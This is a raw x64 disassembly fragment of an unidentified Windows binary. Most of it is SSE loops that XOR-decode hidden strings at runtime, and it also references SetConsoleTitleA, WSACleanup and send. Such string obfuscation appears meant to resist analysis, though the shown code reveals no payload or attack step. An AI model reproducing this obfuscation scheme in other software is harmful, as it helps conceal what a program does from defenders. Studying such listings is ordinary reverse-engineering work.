cmovae rax, r10
lea rdx, [rbp + 0x198]
sub rdx, rax
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x140023043
inc rax
test cl, cl
jne 0x140023030
mov ebx, esi
jmp 0x140023048
sbb ebx, ebx
or ebx, 1
mov eax, dword [0x1400924d0]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400924d4]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], 0x50
xor byte [rsp + 0x39], 0x31
xor byte [rsp + 0x3a], 0x32
xor byte [rsp + 0x3b], 0x33
xor byte [rsp + 0x3c], 0x34
xor byte [rsp + 0x3d], 0x35
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rcx, qword [rbp + 0x650]
lea rdx, [rsp + 0x38]
call fcn.14005da9c
test rax, rax
jne 0x140023275
movups xmm0, xmmword [0x140091d60]
movups xmmword [rbp + 0x188], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140023252
mov r8d, esi
cmp edi, 2
jl 0x140023211
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x18c]
mov r8d, dword [rsp + 0x40]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140023110
jmp 0x140023252
lea r9, [rbp + 0x188]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140023220
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rcx, qword [rbp + 0x650]
lea rdx, [rbp + 0x188]
call fcn.14005da9c
movups xmm0, xmmword [str.fPFTXC]
movups xmmword [rbp + 0x68], xmm0
movsd xmm1, qword [0x140092300]
movsd qword [rbp + 0x78], xmm1
mov eax, dword [0x140092308]
mov dword [rbp + 0x80], eax
cmp byte [0x14009230b], 0
je 0x140023440
mov r8d, esi
cmp edi, 2
jl 0x1400233f7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x6c]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400232f0
cmp r8d, 0x1c
jge 0x140023440
movsxd rax, r8d
lea r9, [rbp + 0x68]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140023410
lea rcx, [rbp + 0x4e8]
cmp qword [rbp + 0x500], 0x10
setae r11b
mov r10, qword [rbp + 0x4e8]
cmovae rcx, r10
lea rdx, [rbp + 0x68]
sub rdx, rcx
movzx eax, byte [rcx]
cmp al, byte [rcx + rdx]
jne 0x140023479
inc rcx
test al, al
jne 0x140023465
mov r15d, esi
jmp 0x140023480
sbb r15d, r15d
or r15d, 1
movups xmm0, xmmword [str.tTSWGRR]
movups xmmword [rbp + 0x88], xmm0
movsd xmm1, qword [0x1400920a0]
movsd qword [rbp + 0x98], xmm1
mov eax, dword [0x1400920a8]
mov dword [rbp + 0xa0], eax
cmp byte [0x1400920ab], 0
je 0x140023650
mov r8d, esi
cmp edi, 2
jl 0x140023607
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x8c]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140023500
cmp r8d, 0x1c
jge 0x140023650
movsxd rax, r8d
lea r9, [rbp + 0x88]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140023620
lea rax, [rbp + 0x4e8]
test r11b, r11b
cmovne rax, r10
lea r8, [rbp + 0x88]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140023683
inc rax
test ecx, ecx
jne 0x140023670
test edx, edx
jne 0x140023712
movsd xmm0, qword [str.tTSWGRR8]
movsd qword [rsp + 0x78], xmm0
movzx eax, byte [0x1400921b0]
mov byte [rsp + 0x78], 0x44
xor byte [rsp + 0x79], 0x31
xor byte [rsp + 0x7a], 0x32
xor byte [rsp + 0x7b], 0x33
xor byte [rsp + 0x7c], 0x34
xor byte [rsp + 0x7d], 0x35
xor byte [rsp + 0x7e], 0x36
xor byte [rsp + 0x7f], 0x37
xor al, 0x38
mov byte [rbp - 0x80], al
lea rax, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rax, qword [rbp + 0x650]
lea r8, [rsp + 0x78]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140023703
inc rax
test ecx, ecx
jne 0x1400236f0
test edx, edx
jne 0x140023712
mov al, 1
jmp 0x140023714
xor al, al
test ebx, ebx
je 0x1400247d0
test al, al
jne 0x1400247d0
mov rcx, qword [0x1409ffc00]
call fcn.14000c0e0
test al, al
jne 0x14002393b
movups xmm0, xmmword [0x140091e70]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140091e80]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140091e90]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140091ea0]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140091eb0]
movups xmmword [rbp + 0xf0], xmm0
movzx eax, byte [0x140091ec0]
mov byte [rbp + 0x100], al
mov r8d, esi
cmp edi, 2
jl 0x1400238d9
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x1400237d2
cmp r8d, 0x51
jge 0x140023920
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x1400238f0
lea rdx, [rbp + 0xb0]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
movups xmm0, xmmword [0x140092460]
movups xmmword [rbp + 0x40], xmm0
movzx eax, word [0x140092470]
mov word [rbp + 0x50], ax
movzx eax, byte [0x140092472]
mov byte [rbp + 0x52], al
mov r8d, esi
cmp edi, 2
jl 0x140023aa7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x44]
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400239a0
cmp r8d, 0x13
jge 0x140023af0
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140023ac0
lea rax, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
cmovae rax, qword [rbp + 0x650]
lea r8, [rbp + 0x40]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140023b27
inc rax
test ecx, ecx
jne 0x140023b10
test edx, edx
jne 0x140023ecd
movups xmm0, xmmword [0x140091f10]
movups xmmword [rbp + 0x4d0], xmm0
mov eax, dword [0x140091f20]
mov dword [rbp + 0x4e0], eax
movzx eax, byte [0x140091f24]
mov byte [rbp + 0x4e4], al
mov r8d, esi
cmp edi, 2
jl 0x140023ca7
movdqa xmm5, xmmword [0x1400926d0]
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x4d4]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140023ba0
cmp r8d, 0x15
jge 0x140023cf0
movsxd rax, r8d
lea r9, [rbp + 0x4d0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140023cc0
lea rcx, [rbp + 0x4d0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movups xmm0, xmmword [str.dYS__F]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1400924b8]
movups xmmword [rbp + 0x220], xmm1
movsd xmm0, qword [str._8_2_0wW_PWU5]
movsd qword [rbp + 0x230], xmm0
mov r8d, esi
cmp edi, 2
jl 0x140023e74
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x214]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140023d73
jmp 0x140023eb2
lea r9, [rbp + 0x210]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140023e80
lea rdx, [rbp + 0x210]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
movups xmm0, xmmword [str._CW_G]
movups xmmword [rbp + 0x238], xmm0
movups xmm1, xmmword [0x140092448]
movups xmmword [rbp + 0x248], xmm1
movsd xmm0, qword [0x140092458]
movsd qword [rbp + 0x258], xmm0
mov r8d, esi
cmp edi, 2
jl 0x140024044
movdqa xmm5, xmmword [0x1400926d0]
mov edx, esi
movdqa xmm4, xmmword [0x140092750]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400926f0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092720]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x23c]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092710]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140023f43
jmp 0x140024082
lea r9, [rbp + 0x238]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140024050
lea rdx, [rbp + 0x238]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str._PG_Q5]
mov dword [rsp + 0x6c], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x70], ax
mov byte [rsp + 0x6c], WSACleanup
xor byte [rsp + 0x6d], 0x31
xor byte [rsp + 0x6e], 0x32
xor byte [rsp + 0x6f], 0x33
xor byte [rsp + 0x70], 0x34
xor byte [rsp + 0x71], 0x35
lea rcx, [rsp + 0x6c]
call fcn.14002b208
lea rdx, [rbp + 0x508]
cmp qword [rbp + 0x520], 8
cmovae rdx, qword [rbp + 0x508]
lea rcx, [rbp + 0x370]
call fcn.14001a6f0
lea rcx, [rbp + 0x6f0]
mov ebx, 2
mov edx, ebx
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140024110
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov r14d, dword [rbp + 0x6f8]
test r14d, r14d
jne 0x14002426d
mov rdx, qword [rbp + 0x520]
cmp rdx, 8
jb 0x1400241ce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400241c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025810
call fcn.14005bba4
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], 7
mov word [rbp + 0x508], si
mov r8, qword [rbp + 0x500]
cmp r8, 0x10
jb 0x14002420a
inc r8
mov rdx, qword [rbp + 0x4e8]
lea rcx, [rbp + 0x4e8]
call fcn.140008c10
mov qword [rbp + 0x4f8], rsi
mov qword [rbp + 0x500], send
mov byte [rbp + 0x4e8], 0
lea rcx, [rbp + 0x528]
call fcn.1400080c0
nop
lea rcx, [rbp + 0x4b0]
call fcn.140008a30
nop
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
lea rcx, [rbp + 0x590]
call fcn.140008a30
nop
lea rcx, [rbp + 0x560]
call fcn.140005520
mov eax, 1
jmp 0x140021c84
lea rcx, [rbp + 0x5b0]
call fcn.140013460
lea rcx, [rbp + 0x650]
call fcn.1400088d0
mov rdx, rax
lea rcx, [rbp + 0x2b8]
call fcn.140003610
mov r8, rax
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x560]
call fcn.140007190
nop
mov r8, qword [rbp + 0x5b0]
cmp r8, qword [rbp + 0x5b8]
je 0x140024534
cmp byte [rsp + 0x50], 0
jne 0x1400242dc
cmp dword [rsp + 0x64], 0
je 0x1400242dc
cmp dword [rsp + 0x5c], 0
je 0x1400242dc
mov ebx, esi
test r15d, r15d
setne bl
cmp dword [rsp + 0x54], 0
je 0x1400242f0
test r15d, r15d
je 0x1400242f0
xor r9b, r9b
jmp 0x1400242f3
mov r9b, 1
lea rcx, [rbp + 0x1c0]
call fcn.14001e100
mov dword [rsp + 0x20], ebx
mov edx, r14d
lea rcx, [rbp + 0x1c0]
call fcn.14001e5c0
test al, al
jne 0x14002455f
movups xmm0, xmmword [str.vP__QQ]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x140091dc0]
